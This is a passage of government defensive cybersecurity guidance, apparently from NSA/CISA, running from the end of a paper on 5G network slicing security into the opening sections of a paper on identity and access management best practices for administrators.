code into the telecommunications environment +by modifying the deployment patterns. The OSS/BSS system may be used (e.g., using the Os-Ma +interface) by an attacker to gain privileges to modify slice design and orchestration/activation of +the slice and associated NFs, and modify changes to slice connections (e.g., modifications to service +chaining). +Another class of attack that must be addressed as a high priority includes tampering. An attacker +may tamper with policy registries (e.g., authorization policies), VNF or CNF packages and artifacts, +modification of affinity and anti-affinity rules, VNF instance information, VNF / CNF attestation +TLP:CLEAR +data, etc. +Spoofing of user or machine identities attacks using password/private key stealing, or Man-in-theMiddle (MITM) may allow the impersonator to conduct activities in deploying malicious code into +the telecommunications environment using the OSS/BSS, NFVO, VNFM or VIM/CISM. An attacker +could also spoof the URL of a legitimate repository from where the orchestrator is expected to pull +images. +To Counter the Above Threats, and Ensure Network Slices Are Designed and +Deployed in a Secure Manner, Recommended Security Mitigations Include: +1) A centralized identity management system that is part of the NSP +s PKI system, which is +capable of issuing and managing X.509v3 certificates to the various orchestration +components (MANO or ONAP functions). The certificates are then used for mutual +authentication between the different components before service requests can be processed. +2) Granular attribute and role-based access control (RBAC) that limits access to a +resource +scope + and +duration + and the type of +actions + (e.g., Create, Read, Update, and Delete +[CRUD] operations) that can be performed. +3) Ensure that the authenticity- that every artifact is from a trusted vendor- and integrity of the +packages and artifacts are maintained throughout the life cycle of the xNF. Another class of +attack that must be addressed as a high priority includes tampering. An attacker may +tamper with policy registries (e.g., authorization policies), VNF or CNF packages and +artifacts, modification of affinity and anti-affinity rules, VNF instance information, VNF / +CNF attestation data, etc. +4) Finally, ensure that the NSP certifies the VNF packages do not contain any known +vulnerabilities once the package has been on-boarded by running security scans. +Additionally secure +supply-chain + requirements may need to be adhered to by the NSP. +The security features listed above, and using zero-trust framework, would help mitigate attacks on +on-boarding and instantiation of the network slices. +Network slice design and deployment across networks will rely on defined standardized slice types +(in 3GPP) and the GSMA-defined Generic Slice Template (NEST). End to end inter-operator design +and deployment of slices is currently unlikely with roaming and interconnect relying mostly on +SLAs between operators. This is in part because one MNO +s network management cannot be +imposed on another MNO +s operations. Particularly challenging is in the case of local breakout for +slice orchestration as both the home and the visited networks are involved. +Orchestration of a slice will require service agreements to be in place between transport, +RAN/core, and slice providers in advance of a service request. Coordinated management is +essential between the RAN/core, interconnection, and the transport domains to ensure the E2E +SLAs, which may include cross-domain orchestration. In addition to that, transport and mobile +network capabilities are expected to be harmonized to ensure that mobile network capabilities are +not compromised by limitations in the transport network. +TLP:CLEAR +Network Slice Isolation and Segregation Recommendations: +Logical isolation and performance isolation between network slices. +Physical isolation of physical resources for network slices, and separate management +systems and administrators will be required to meet high confidentiality, integrity, and +availability triad requirements. +Data plane on one slice ought not influence other network slices. +Control plane actions (e.g., creation/update/deletion) have no influence on other slices. +ETSI recognized that leakage of data between network slices as a significant problem. To avoid +leakage or breach issues between network slices, it is recommended that any implementation +provide risk mitigation from attacks from one slice to another. +Network Slice Implementation Recommendations: +Usage-specific security policies regarding authentication and authorization requirements +(e.g., IoT vs. mobile broadband user) must be configurable. +Slice-specific authentication that is performed over and above the 3GPP primary +authentication is carried out to meet customer user authentication requirements. +Network Slice and the provider take into consideration privacy of user information and +device identifiers, including following regulations like Customer Proprietary Network +Information (CPNI).29 +Confidentiality must be considered for network slice selection information when sent over +the RAN. +Isolation of network traffic ought to be maintained when a common control plane between +different network slices is used. +Security of sensitive shared network elements, such as the UDR that stores subscriber +profiles, needs to be secured and actively monitored. +29 Customer Proprietary Network Information (CPNI), June 9 2008, https://docs.fcc.gov/public/attachments/DA- +08-1321A1.pdf +TLP:CLEAR +OPERATIONS AND MAINTENANCE CRITERIA +Introduction +5G network slicing adds complexity to a network. While there are standards defining specifications +for how operators build their 5G networks, there are no clear specifications for how network +operators and slice providers develop, implement, and maintain security for network slicing. +During operations and maintenance, improper NS configurations and management may present an +opportunity for malicious actors to access data from different slices that they otherwise do not +have access to, or to deny access to authorized slice users. This is the reason authentication and +attribute-based access controls (ABAC) are fundamental to a network slice. +Definition of Operations and Maintenance +When a systems engineer fields a system, it enters the Operations Phase. Operating a 5G network +typically involves day-to-day operational and management activities, including (but not limited to) +scaling in/out based on service assurance, health monitoring, security scans, etc. +Maintenance refers to the general upkeep of the network slices. Preventive maintenance is a +schedule of planned actions aimed at preventing breakdowns and failures before they occur and at +preserving and enhancing equipment reliability by replacing worn components before they fail. +Preventive maintenance for a 5G network slicing might include software patching and periodic +updates. +Operations and maintenance (O&M) involve monitoring configuration, fault, and performance +management by humans, or by automation. To ensure security, all intra-datacenter +communications must use standards-based and approved encryption, and be mutually +authenticated security (e.g., mutual TLS or IPsec) to ensure confidentiality, integrity, and +availability. +Importance of Operations and Maintenance +For 5G network service providers, the O&M phase includes activation, supervision, reporting, +deactivation, and modification activities. Each network slice may have unique SLRs. The actions of +operators and O&M tools must assure that those requirements are met. These need robust O&M +tools, processes, and capabilities. For example, maintaining the integrity of the O&M platforms is +extremely critical and therefore their trust-enabling functions (e.g., PKI authorization server) need +to be always validated for integrity leveraging hardware roots-of-trust and remote attestation. +Backwards compatibility or at least co-existence of multi-mode network elements from previous +generations also poses architectural challenges to 5G operators. These complex structural +problems are exacerbated in roaming situations, or in use cases that involve multi-operators +working together. Additionally, network slice providers work with the vendor of VNF packages, +platform software vendors etc. to ensure that the authenticity (ensuring every artifact is from a +trusted vendor). Each NSP must assure the integrity of each package is maintained throughout the +life cycle of the VNF. To achieve this the NSP and the vendors need to agree on a trust model that +either uses third-party CA or the NSP +s PKI system. Also, the NSP needs to certify that the VNF +TLP:CLEAR +package does not contain any known vulnerabilities once the package has been on-boarded by +running security scans. +Effective O&M solutions strike a delicate balance between cost, performance, and +functionality/security. Techniques to meet this objective include centralized monitoring, fault root +cause analysis, performance data analysis, automatic O&M controls, etc. +Basic 5G network performance assurance capabilities require network/user behavioral +visualization, fault demarcation/isolation, and self-diagnosis capabilities. NSP provides service +assurance to key performance indicators and visibility to their customers. For example, customers +can clearly know the details on both security and service assurances that the slice provides. +Detailed logs on performance, faults, and security events could be provided to authorized customer +personnel or machines. Based on measurements, the service assurance platform (e.g., using +Artificial Intelligence/Machine Learning (AI/ML)) can tailor the service and security assurances to +match the SLR. +Orchestration of Network Slices +Policy Considerations +Each network slice operates on a specific tracking area associated with a collection of logical 5G +radio nodes (gNBs) and the associated set of Access and Mobility Management functions. +Emblematic transport data plane technologies include IP, VPN, and Virtual Local Area Network +(VLAN). It is paramount that the collection of 5G technologies comply with organization security +policy. Additionally, E2E QoS requirements need to be supported within the slices designated +deployment area; in practice, the E2E QoS uniquely define the combination of the QoS in the RAN +and the QoS in the 5G Core for a given network slice use case. +Workflow Considerations +Complex workflows might be required to handle a network slicing request. One example is the +provisioning of transport specific resources. Provisioning can involve intelligent and dynamic +tuning of QoS, and intelligent admission control to determine available resources. Resources +involved might belong to the RAN, the 5G Core, or both. +Maintenance of Network Slices +Maintenance of a network slice includes assuring that all SLRs are met. Service assurance includes +resource management and making sure SLRs and policies (internal or intra-operator) are met. +Once a network slice has been created and configured to meet certain SLRs, it needs to be +monitored and maintained over time as threats continue to evolve. +Monitoring +It is expected that network monitoring covers all SLRs specified by associated network slice service +profiles, including the operational state of each hardware and software component of a network +slice. Monitoring the usage of a network slice is not limited to fraud detection, revenue assurance, +or device behavior analysis for obvious network impacts, e.g., DoS signaling storm or user traffic +saturation. Monitoring can be used by the system to protect itself from an attacker that may gain +TLP:CLEAR +access directly to that system. +It is important to identify where the security monitoring interfaces are within the 5G ecosystem. +This is especially important in multi-vendor implementations where functionality from different +sources might be deployed. +Table 7 describes recommendations for typical types of mobile network monitoring activities. For +example, in NIST 5G Cybersecurity, it highlights the value of having good visibility across the 5G +infrastructure; consequently, there is a need to continuously monitor communications patterns, see +threats within the extended network, and detect and respond to threats using methods such as +behavioral modeling, supervised machine learning, and unsupervised machine learning.34 +The reference materials in Table 7 contain various attributes needed to maintain consistency and +reliability of each network slice. Implementations provide timely and efficient access that +information. +Table 7: +Examples of Network Monitoring Activities for 5G Networks +Types of Network Monitoring +Performance Management +Quality of Service +NIST 5G Cybersecurity +Control Plane +Communication +User-Plane Communication +Anomaly Detection +Explanation +Due to the complex nature of mobile networks and vendors +diversity of hosting platforms, a unique overarching +performance management technique across different networks +and vendors is required +5G QoS include network performance metrics (e.g., latency, +throughput, etc.) but might also include availability, reliability, +accessibility, retainability, etc. +NIST SP1800-33B provides examples of 5G standard features +and third-party security controls for successful 5G +implementations. +Control plane communication is not only protected for privacy +but also protected against attacker +s malicious modifications, +performance issues, and anomalous behaviors. +This is the communication which connects the actual data +coming over the RAN to the Internet which is helpful to detect +acceptable use violations e.g., a DDoS attack, DNS tunneling, +spoofing, etc. +Anomaly detection is a capability of identifying unusual +activities or behaviors in networks. A variety of sensors, +filtering and advanced (e.g., AI/ML-based) security analytics are +necessary to detect sophisticated and zero-day threats. +To conduct O&M activities successfully, the service requirements as defined by a network slice +profile need to be monitored. As noted in the Figure 10 above, monitoring a network slice can +either be functional monitoring and/or security monitoring. +Typically, functional monitoring is already provided by the equipment CORE, RAN, and that +element manager assuming the network is operating in a healthy state. It is paramount that +security monitoring is built with zero-trust tenets in mind. Hence, monitoring solutions from the +previous generations need to be integrated or updated to include 5G specific features. Otherwise, +TLP:CLEAR +carriers will have to build a standalone separate monitoring capability to support 5G O&M. +In the federated roaming scenarios, where slices are traversed into another carrier network, SLA +needs to be established before deployment; a common methodology of monitoring and security +mitigation schemes needs to be present at the gateways or logical borders between carriers. +Monitoring incorporates the collected data from various sources in the 5G networks. The acquired +data will be analyzed first to see what insights and conclusions may be drawn. The analysis is +followed by alerting, visualizing, and reporting. These steps are discussed in the following clauses. +Alerting +Alert capability is an important management tool. It is recommended that any alerting program +support the ability to subscribe to user specified asynchronous alert messages. Alerts can notify a +cyber protection team (CPT) or network operators of unusual activities and possible cyber events. +Alerts can be used in conjunction with Security Incident Event Management (SIEM) for correlating +cyber events. For example, periodic UE and network scanning can identify anomalous behavior that +shows malicious code has compromised certain 5G network element. For example, this may trigger +an alert to the security orchestration, automation, and response (SOAR) platform, which instructs +the network monitoring system (NMS) to disconnect the UE and prevent it from registering to the +network until the malicious code has been removed from the UE. +In this simple example, SIEM supports threat detection, compliance, and security incident +management through the collection and analysis (both near real time and historical) of security +events, as well as a wide variety of other event and contextual data sources30. A SIEM cannot +address alerts by themselves, and will not mitigate any threats directly; however, having them +allows CPT and operators to respond quickly and efficiently. Together, they provide CPT and cyber +operations near-real-time benefits, deep insights over time-based data analysis, and underlying +support for cybersecurity visualizations and dashboards. +Reporting +Reporting functionality includes providing status of updates, metrics that can be used to assure +that an installation is correct, and metrics that can be used to detect potential issues. The reporting +can include a summary of network slice health status and overview. +Reporting and storage of past historical data are both important in O&M; they provide +troubleshooters the ability to review and later analyze a problem. For example, cyber forensics and +anomaly detection, at both the network level and user behavioral level, rely on past reports and +historical data. Summary reports can be periodically generated for management, but these would +be different than reports required by maintenance personnel, as reports for maintenance +personnel need to be comprehensive to encompass all relevant technical details and be in a +readable format. +30 https://www.gartner.com/en/information-technology/glossary/security-information-and-event-management-siem +TLP:CLEAR +Conclusion +5G SA network slicing is poised to become a key technology feature within 5G, so it is imperative +we understand potential security threats to 5G network slicing. Hence, it is important to recognize +industry-recognized best-practices of how 5G network slicing can be implemented, designed, +deployed, operated, maintained, potentially hardened, and mitigated as they affect QoS and +confidentiality, integrity, and availability triad SLAs. The goal is to promote collaboration amongst +MNOs, hardware manufacturers, software developers, other non-MNOs, systems integrators, and +network slice customers, in order to facilitate increased resiliency and security hardening within +5G network slicing. +TLP:CLEAR +APPENDIX: Abbreviated Terms +Acronym +3GPP +5G-AKA +5G SA +ABAC +AI/ML +APRF +CISA +CISM +CRUD +CSMF +CUPS +DDoS +DHCP +eMBB +EAP-AKA +GSMA +HPLMN +IETF +Meaning +Third Generation Partnership Project +Fifth Generation Cellular Network +5G Authentication and Key Agreement +5G Core Network +5G System +5G Standalone Cellular Network +5G QoS Identifier +Authentication, Authorization, and Accounting [Server] +Attribute-based Access Controls +Application Function +Artificial Intelligence/Machine Learning +Access Management Function +Application Programming Interface +Access Point Name +Authentication Credential Repository Processing Function +Confidentiality, Integrity, and Availability +Container Image Registry +Cybersecurity and Infrastructure Security Agency +Container Infrastructure Service Management +Control Plane +Create, Read, Update and Delete +Cyber Protection Team +Communication Service Management Function +Central Unit +Control and User Plane Function Separation +Distributed Denial of Service +Dynamic Host Configuration Protocol +Data Network +Data Network Name +Domain Name Service +Denial of Service +Distributed Unit +End-to-End +Extensible Authentication Protocol +Enhanced Mobile Broadband +Evolved Packet Core +Enduring Security Framework +Extensible Authentication Protocol Authentication and Key Agreement Prime +GSM Association +Home Public Land Mobile Network +Infrastructure as Code +Identity & Access Management +Internet Engineering Task Force +Internet of Things +TLP:CLEAR +Acronym +IPsec +MANO +MIMO +MITM +NEST +RBAC +NFVO +NIST +non-RT RIC +NSACF +NSSAAF +NSSAI +NSSF +NSSMF +OAuth +ONAP +OSS-BSS +PDCP +PLMN +PLMP +RADIUS +RBAC +SDN-C +SEPP +SIEM +SOAR +Meaning +Internet Protocol Security +IP Packet eXchange +Management and Network Orchestration +Mobile Device Management +(Formally known as the) Metro Ethernet Forum +Multiple-input/Multiple-output +Man in The Middle +Network Slice Template +Non-access Stratum +Role-based Access Control +Network Function +Network Function Virtualization +Network Functions Virtualization Orchestrator +National Institute of Standards and Technology (US DOC) +Non-Real-Time RAN Intelligence Controller +Network Resource Function +Network Slice Admission Control Function +Network Slice Provider +Network Slice-Specific Authentication and Authorization Function +Network Slice Selection Assistance Information +Network Slice Selection Function +Network Slice Subnet Management Function +Operations and Maintenance +Open Authorization +Open Network Automation Platform +Operations Support System- Business Support System +Policy Control Function +Packet Data Convergence Protocol +Protocol Data Unit +Public Land Mobile Networks +Public Mobile Network +Physical Network Function +Quality of Service +Remote Authentication Dial-In User Service +Radio Access Network +Role-based Access Control +Route Selection Descriptor +Radio Unit +Service-Based Interface +Software Defined Network Controller +Standards Development Organization +Security Edge Protection Proxy +Security Incident Event Management +Service Level Requirement +Session Management Function +Service Management and Orchestration [Framework] +Security Orchestration Automation and Response +TLP:CLEAR +Acronym +UICC +URSP +VLAN +VNFD +VNFM +Meaning +Traffic Descriptor +Transport Layer Security +Transport Network +Unified Data Management +Unified Data Repository +User Equipment +Universal Integrated Circuit Card +User Plane +User Plane Function +User Equipment Route Selection Policy +Virtual Infrastructure Manager +Virtual Local Area Network +Virtual Network Function +VNF Descriptor +Virtual Network Function Manager +Virtual Private Network +Zero Trust Architecture +TLP:CLEAR +TLP:CLEAR +Identity and Access Management: Recommended Best Practices for Administrators +DISCLAIMER +DISCLAIMER OF ENDORSEMENT +This document was written for general informational purposes only. It is intended to apply +to a variety of factual circumstances and industry stakeholders, and the information +provided herein is advisory in nature. The guidance in this document is provided +as is +Once published, the information within may not constitute the most up-to-date guidance or +technical information. Accordingly, the document does not, and is not intended to, +constitute compliance or legal advice. Readers should confer with their respective advisors +and subject matter experts to obtain advice based on their individual circumstances. In no +event shall the United States Government be liable for any damages arising in any way out +of the use of or reliance on this guidance. +Reference herein to any specific commercial product, process, or service by trade name, +trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, +recommendation, or favoring by the United States Government, and this guidance shall not +be used for advertising or product endorsement purposes. All trademarks are the property +of their respective owners. +PURPOSE +The National Security Agency (NSA) and the Cybersecurity Infrastructure Security Agency +(CISA) developed this document in furtherance of their respective cybersecurity missions, +including their responsibilities to develop and issue cybersecurity recommendations and +mitigations. This information may be shared broadly to reach all appropriate stakeholders. +CONTACT +Client Requirements/Inquiries: Enduring Security Framework nsaesf@cyber.nsa.gov. +Media Inquiries / Press Desk: + NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov + CISA Meda Relations, 703-235-2010, CISAMedia@cisa.dhs.gov +Identity and Access Management: Recommended Best Practices for Administrators +Table of Contents +Introduction ................................................................................................................................................. 1 +Scope ............................................................................................................................................................ 2 +The Threat Landscape................................................................................................................................. 2 +IAM Threat Mitigation Techniques ............................................................................................................ 4 +Identity Governance .................................................................................................................................... 4 +What it Does............................................................................................................................................. 4 +Why It Matters ......................................................................................................................................... 5 +Environmental Hardening .......................................................................................................................... 6 +What it Does............................................................................................................................................. 6 +Why it Matters ......................................................................................................................................... 7 +Setting the Stage for Implementation .................................................................................................... 7 +Implementing Best Practice ................................................................................................................... 7 +Actions to Take Now ............................................................................................................................... 9 +Summary ................................................................................................................................................ 10 +Identity Federation and Single Sign-On................................................................................................... 10 +What it Does........................................................................................................................................... 10 +Why it Matters ....................................................................................................................................... 10 +Factors to consider when selecting an SSO solution ...................................................................... 11 +Implementing Best Practices ................................................................................................................ 13 +Actions to Take Now ............................................................................................................................. 13 +Summary ................................................................................................................................................ 13 +Multi-Factor Authentication ..................................................................................................................... 13 +What It Does .......................................................................................................................................... 15 +Why MFA Matters .................................................................................................................................. 17 +Preparation for Implementing MFA..................................................................................................... 18 +Catalog User Populations, Device Types, and Use Cases ................................................................ 18 +Evaluate Assurance Requirements .................................................................................................. 19 +Evaluate Privacy and Operational Considerations ......................................................................... 19 +Implementing MFA................................................................................................................................ 20 +Actions to Take Now ............................................................................................................................. 21 +Summary ................................................................................................................................................ 21 +Identity and Access Management: Recommended Best Practices for Administrators +IAM Auditing and Monitoring................................................................................................................... 22 +What it Does........................................................................................................................................... 22 +Why it Matters ....................................................................................................................................... 22 +Preparation for Implementing Best Practice ...................................................................................... 23 +Actions to Take Now ............................................................................................................................. 24 +Summary ................................................................................................................................................ 25 +Conclusion.................................................................................................................................................. 25 +Appendix I: Actions to Take Now Checklist............................................................................................. 26 +Identity and Access Management: Recommended Best Practices for Administrators +Introduction +Identity and access management (IAM) is a framework of business processes, policies, and +technologies that facilitate the management of digital identities to ensure that users only +gain access to data when they have the appropriate credentials. Beyond the physical users, +service and system accounts are also in scope for IAM and critical for IAM administrators to +manage within their organizations. Inventorying, auditing, and tracking all of these +identities and their access is imperative to ensure that proper IAM, including permissions +and active status, is executed on a regular basis. Managing the growing complexities of +digital identities can be daunting especially with industry +s push toward cloud and hybrid +computing environments; however, the need for IAM is more important today than ever. In +recent years, we have seen various nation state-led cyber operations successfully access +protected data by targeting the trust established within networks or by exploiting +vulnerabilities in IAM products and/or IAM implementations. Specifically, the critical +infrastructure within the U.S. is an attractive target for the adversaries. In fact, according to +the 2022 Verizon Data Breach Investigation Report, 80% of web applications attacks +leveraged stolen credentials, a technique used by both basic cyber criminals and nationstate bad actors. Additionally, excluding breaches based on user error and insider misuse, +40% of breaches involved stolen credentials and nearly 20% involved phishing. Recent and +notable attacks include: +In 2021, compromised credentials were used to attack and shut down the Colonial +national gas pipeline in the U.S. 1 +In another 2021 cyberattack, an unknown attacker manipulated computer systems +in a Florida water treatment plant to increase the concentration of sodium +hydroxide in the water supply by a factor of 100. 2 +In 2022, another attack targeted a water treatment plant in South Staffordshire, +U.K. 3 +As such, the critical infrastructure organizations have a particular responsibility to +implement, maintain, and monitor secure IAM solutions and processes to protect not only +their own business functions and information but also the organizations and individuals +with whom they interact. It is important to keep in mind that IAM systems implement +credential management, authentication, and authorization functions that are foundational +to security and also very complex and subject to vulnerabilities if not implemented +correctly. Like any kind of software, IAM solutions are subject to software vulnerabilities +and must be patched, updated, and managed. A vulnerable IAM solutions can facilitate +access to multiple systems and data across the organization. Therefore, securing IAM +infrastructure is critical. Ultimately, the goal is that organizations proactively take the +1 https://www.bloomberg.com/news/articles/2021-06-04/hackers-breached-colonial-pipeline-usingcompromised-password. +2 https://arstechnica.com/information-technology/2021/02/breached-water-plant-employees-used-thesame-teamviewer-password-and-no-firewall/. +3 https://www.zdnet.com/article/confused-cyber-criminals-have-hacked-a-water-company-in-a-bizarrecase-of-mistaken-identity/. +Identity and Access Management: Recommended Best Practices for Administrators +appropriate action to protect against an attack rather than be in the position of deploying +fundamental IAM capabilities far too late. +To address the risk to a wide range of critical public and private sector networks, the +Enduring Security Framework (ESF) hosted a working panel staffed by government and +industry subject matter experts tasked with assessing the challenges and threats to IAM +and identifying recommendations on how to mitigate these risks. While the working group +recognizes the need for a broad, layered approach to network defense, this guidance is +focused on the aspects of IAM identified as critical in addressing the threats laid out in this +paper. +Scope +This paper sets forth the IAM best practices for administrators to implement to address +threats that are highly likely, highly impactful, or both. Furthermore, it identifies mitigation +areas most effective in reducing the impacts of these threats to IAM. +This paper focuses on identifying mitigations for the following techniques frequently used +by bad actors: +Creating new accounts to maintain persistence. +Assuming control of accounts of former employees which were not suspended upon +employee termination. +Exploiting vulnerabilities to forge authentication assertions (e.g. Kerberos tickets, +Security Assertion Markup Language (SAML) assertions, OAuth2). +Utilizing or creating alternative access points to systems. +Exploiting or utilizing users with legitimate access. +Compromising passwords through a variety of tactics (e.g. phishing, multi-factor +authentication (MFA) bypass, credential stuffing, password spraying, social +engineering, brute force). +Gaining system access and exploiting stored credentials. +Exploiting default passwords in built-in or system accounts, exploiting active attacks +to downgrade, and exploiting deprecated encryption, or plain-text protocols to +access credentials. +The Threat Landscape +Organizations are subject to attacks from a broad range of threat sources including nationstates, terrorist groups, organized crime, hacktivists, and individuals looking to harm or +embarrass an organization. Additionally, organizations are subject to attacks where a +trusted user is the source of the compromise (e.g., insider threat). The spectrum of threat +sources varies wildly in capabilities, motivations, and methods. For example, nation-state +actors have significant resources, and can establish long-term plans to gain access to +critical resources. They can also use indirect methods such as exploiting the supply chain. +Identity and Access Management: Recommended Best Practices for Administrators +Exploiting known IAM vulnerabilities could allow a bad actor the same access to resources +as legitimate users by mimicking legitimate activity which complicates detection of the bad +actor. This provides the bad actor more time to gain access to resources and elevate +privileges to gain persistent access. +For example, a recent CISA Alert (AA21-321A) 4 showed that Iranian governmentsponsored advanced persistent threat (APT) actors are actively targeting a broad range of +victims across multiple U.S. critical infrastructure sectors by exploiting IAM vulnerabilities +to compromise credentials, escalate privileges, and establish new user accounts on domain +controllers, servers, workstations, and in directories responsible for authenticating and +authorizing users and devices. These actors could leverage this access for follow-on +operations, such as data exfiltration or encryption, ransomware, and extortion. +Additionally, exploitation of Single Sign-On (SSO) technology (a component of IAM) is +becoming a more prevalent attack vector. Bad actors attempt to exploit the SSO functions +with hopes of easily gaining access to protected resources throughout the system and/or +organization. Several examples that show the impact of SSO compromise include: +In September 2021, Palo Alto Networks revealed bad actors exploiting a +vulnerability in Zoho +s ManageEngine ADSelfService Plus SSO solution. The bad +actors were observed deploying backdoor and credential stealing tools to maintain +access to the victim +s networks including critical infrastructure entities. 5 +The SolarWinds compromise highlighted the risk of SSO exploitation. The NSA and +others characterized the +Golden SAML, + Active Directory Federation Services +bypass technique, as shown in Figure 1, which gave bad actors access to all of the +enterprise +s Active Directory authentication. 6 +Figure 1 Depiction of +Golden SAML + Attack Process. 7 +4 https://www.cisa.gov/uscert/ncas/alerts/aa21-321a. +5 https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/. +6 https://www.darkreading.com/attacks-breaches/solarwinds-campaign-focuses-attention-on-golden-saml- +attack-vector. +7 https://blog.sygnia.co/detection-and-hunting-of-golden-saml-attack. +Identity and Access Management: Recommended Best Practices for Administrators +Defending against this broad spectrum of attacks requires a comprehensive IAM solution, +with operational awareness of the environment to detect anomalies and attribute +anomalous activity to adversary exploits. +IAM Threat Mitigation Techniques +The best practices and mitigations discussed in this paper provide tactics that help to +counter threats to IAM through deterrence, prevention, detection, damage limitation, and +response. Specifically, this paper identifies best practices relating to: +Identity Governance - policy-based centralized orchestration of user identity +management and access control and helps support enterprise IT security and +regulatory compliance; +Environmental Hardening - makes it harder for a bad actor to be successful in an +attack; +Identity Federation and Single Sign-On + Identity federation across organizations +addresses interoperability and partnership needs centrally. SSO allows centralized +management of authentication and access thereby enabling better threat detection +and response options; +Multi-Factor Authentication - uses more than one factor in the authentication +process which makes it harder for a bad actor to gain access; +IAM Monitoring and Auditing - defines acceptable and expected behavior and then +generates, collects, and analyzes logs to provide the best means to detect suspicious +activity. +Identity Governance +Identity governance is the process by which an organization centralizes orchestration of its +user and service accounts management in accordance with their policies. Identity +governance provides organizations with better visibility to identities and access privileges, +along with better controls to detect and prevent inappropriate access. It is comprised of a +set of processes and policies that cover the segregation of duties, role management, logging, +access review, analytics, and reporting. +What it Does +Identity governance solutions can manage the entire identity and access lifecycle for an +organization +s workforce. The most critical lifecycle events are often referred to as +Join, +Move, and Leave + (JML) events: +Join + when a new employee or contractor joins the organization, the identity +governance solution can collect biographical, position-related, and credential data +(such as professional certifications or clearances) from recruiting, human capital +management, and personnel security systems to build out an identity record for the +individual. Identity governance systems can use this data to automatically create +Identity and Access Management: Recommended Best Practices for Administrators +accounts in directories and applications with entitlements based on the collected +data. +Move + when an individual +s role in the organization changes, an identity +governance system can automate the granting of additional entitlements needed for +their new role as well as the removal of entitlements that are no longer needed. +Without adequate management of Move events, long-term users tend to accumulate +privileges as their roles change, increasing the potential impact of insider abuse or +account takeover. +Leave + when users separate from an organization through retirement, termination, +or contract expiration, their accounts and privileges must be promptly terminated. +Identity governance systems can automate the disablement and removal of accounts +in response to separation actions in human capital management systems or other +personnel systems. Identity governance systems also provide a record of accounts +and privileges associated with the individual, ensuring that access is completely +removed. +Why It Matters +Identity governance solutions implement governance policies using orchestration tools +that are designed to link people, applications, data and devices, and allow customers to +determine who has access to what, what kind of risk that represents, and take action in +situations where policy violations are identified. They provide a comprehensive view of an +organization +s identity management practices and identify gaps in the identity +management lifecycle. This centralized control and visibility helps to mitigate the risk that +identities and privileges will be mismanaged, as well as the risk that attackers can exploit +different systems within the organization without being detected. +Additionally, identity governance systems maintain an inventory of active accounts and +privileges that currently exist in systems and applications, enabling monitoring and +analysis. Account creation and modification events can be reviewed and correlated with +approved access requests. Policy rules can be created for segregation of duties +requirements, enabling administrators to identify and remove non-compliant combinations +of privileges assigned to individuals. Automated risk analysis can identify high-risk +individuals so that appropriate mitigations can be taken, such as re-assigning privileges or +elevated monitoring of those users + accounts. The access inventory also enables application +and data owners to periodically review and reconcile accounts and privileges. Together, +these processes support the principle of Least Privilege, ensuring that users have only the +privileges required for their job functions. +Further, managing system and application accounts is also critical. Identity governance +systems can monitor and manage the creation, modification, and removal of these accounts +to ensure they are only created and granted privileges in response to approved, +documented change requests. The entitlements policies, monitoring, risk analysis, and +access reconciliation processes applied to user accounts as described above can also ensure +that system accounts are managed in accordance with least privilege. +Identity and Access Management: Recommended Best Practices for Administrators +Effective identity governance can mitigate the impacts of many prevalent IAM threats: +Phishing, spear phishing, or social engineering: Identity governance cannot +directly prevent these attacks, but can reduce the potential impact of user account +compromise using these techniques. A compromised account with excessive +privileges can do more damage than one whose privileges are contained. In +addition, Segregation of Duty controls enforced through identity governance can +ensure that compromising a single account does not provide access to key business +processes and data. +Insider threats: As with phishing and other account compromise threats, identity +governance cannot prevent insiders from abusing their privileges, but it can reduce +the impact when these events happen if they do not have excessive privileges. +Creating accounts to maintain persistence: Attackers who compromise +privileged accounts may attempt to create additional user accounts to maintain +access to a system even if the initially compromised accounts are revoked or +disabled. Identity governance systems monitor account creations and can help an +organization identify unauthorized account creation. +Privileged accounts require additional monitoring and control and should be separately +managed using a Privileged Access Management (PAM) solution with strong identity +governance. Modern PAM solutions include advanced capabilities such as just-in-time +provisioning, in which users are temporarily granted privileged access in order to complete +a specific task or resolve an issue. This further supports the principle of least privilege and +reduces the number of privileged accounts that an attacker could target. +Environmental Hardening +Hardening the enterprise environment includes making sure the foundations and +implementations of IAM are sufficiently secured, assured, and trusted. The degree of +hardening will vary depending on what is being protected. For example, credential issuing +systems for cryptographic digital certificates or stores of passwords are more critical since +they secure authentication for entire organizations. Implementation of cryptographic +mechanisms must also be sufficient to provide the level of security assumed and needed by +the system. +What it Does +Environmental hardening secures the hardware components and software in the +enterprise environment around the IAM solution. A defense is only as good as its weakest +component. Therefore, it is important when implementing an IAM solution to include +securing the other services that are involved. Combining environmental hardening (e.g., +patching, asset management, and network segmentation) best practices with sound IAM +foundations and implementations reduces the likelihood of a compromise and limits +potential damage. +Identity and Access Management: Recommended Best Practices for Administrators +Why it Matters +Environmental hardening generally makes it harder for a bad actor to exploit IAM +components and software. Bad actors target IAM solutions because they can provide access +to a significant amount of sensitive data, enables persistence, and be used for future +malicious cyber operations. IAM solution components must be hardened to prevent +footholds for attackers to pivot to more critical systems. +Setting the Stage for Implementation +Implementing Best Practice +Physical and +Environmental +Hardening +Ensure assets are protected from interruption or data loss due +to unauthorized access to a specific physical environment. This +can be done by limiting physical access to the data center +hosting the IAM assets and the systems controlling logical +access to the IAM assets. It is also imperative to use best +practices to provide the appropriate resilience of these systems +from other physical threats. IAM functions and capabilities +should be purposely implemented with system georedundancy, if possible, to survive and withstand a physical +and/or destructive cyber event at one physical location. +For IAM systems hosted on-site in the organization +s work +offices, ensure the server room is located behind a locked door +Identity and Access Management: Recommended Best Practices for Administrators +Network +Hardening +Backups +Least +Privileged +with access granted only to those who have a purpose in that +room. A cipher lock or badge access can add MFA capabilities to +access the room itself. +Ensure that any doors and rooms that provide access to +sensitive or critical IAM infrastructure are monitored with +cameras that can trigger an alarm if there is unauthorized +physical access to the facility (e.g., data center) and room (e.g., +on-premises server room). +For IAM systems managed offsite or through a cloud provider, +environment hardening needs to ensure remote access is +limited by using strong phishing-resistant MFA and limiting +access based on other factors (e.g. role-based, normal work +hours, location, device, position). It is also key to only engage +reputable cloud service providers when choosing to implement +the IAM systems offsite. +Ensure disposal of used assets properly by thoroughly wiping +or completely destroying the asset depending on the sensitivity +of the data. +When software patches are published for IAM components +and/or software, perform a security risk assessment on the +patch to assist with installation prioritization. If you have the +capacity, consider executing a comprehensive security test plan +on all software patches in a non-production environment to +ensure compatibility. Proceed to patch and update all impacted +devices and/or software as soon as possible. +Ensure an intrusion detection system is in place to alert +security operations 